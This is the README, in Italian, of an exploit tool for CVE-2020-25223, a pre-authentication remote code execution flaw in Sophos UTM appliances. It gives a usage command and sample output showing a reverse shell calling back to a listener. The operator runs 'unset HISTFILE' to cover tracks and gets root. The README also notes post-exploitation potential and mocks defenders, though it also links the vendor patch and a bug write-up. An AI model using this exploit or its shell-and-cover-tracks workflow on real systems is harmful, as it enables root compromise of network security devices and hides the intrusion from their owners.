sophucked

CVE-2020-25223 RCE PoC, ottiene una reverse shell. Pre-autenticazione. Implementato rapidamente poiché era necessario unificare alcuni magneti di minaccia.

Esempio di utilizzo:

# python sophucked.py https://x.x.x.x:4443 x.x.x.x 80
(+) avvio handler sulla porta 80
(+) Invio callback a x.x.x.x:80
(+) connessione da x.x.x.x
(+) pop thy shell!
bash: nessun controllo job in questa shell
utm:/var/confd # unset HISTFILE
unset HISTFILE
utm:/var/confd # id
id
uid=0(root) gid=0(root) groups=0(root)
utm:/var/confd # exit
exit
exit
*** Connessione chiusa dall'host remoto ***
# 

Scansione/Rilevamento

Non implementato qui, basta usare il template nuclei.

Note post-sfruttamento

Questi dispongono di un interprete Python e in realtà di un ambiente Linux molto completo. Potenziale incredibile per il post-sfruttamento.

Note per il blue team

Sono sicuro che qualcuno a cui importa possa compilare. Bitter (un sottoinsieme del 'blue team Twitter') lo farà probabilmente a breve. Voglio dire, non può essere così difficile rilevare una reverse shell non crittografata che esce dal tuo box Unified Threat Manager, giusto?

Correggere il bug

Qualcuno (presumibilmente da Sophos) ha inviato questo, è il link ufficiale per la correzione. Aggiornare il vostro UTM. https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce

Riferimenti, ecc.

Riferimento di terze parti (dettagli del bug): https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223

Reclami diretti a Sophos, che in qualche modo ha pensato che passare input utente a open() in Perl fosse una buona idea nel 21° secolo.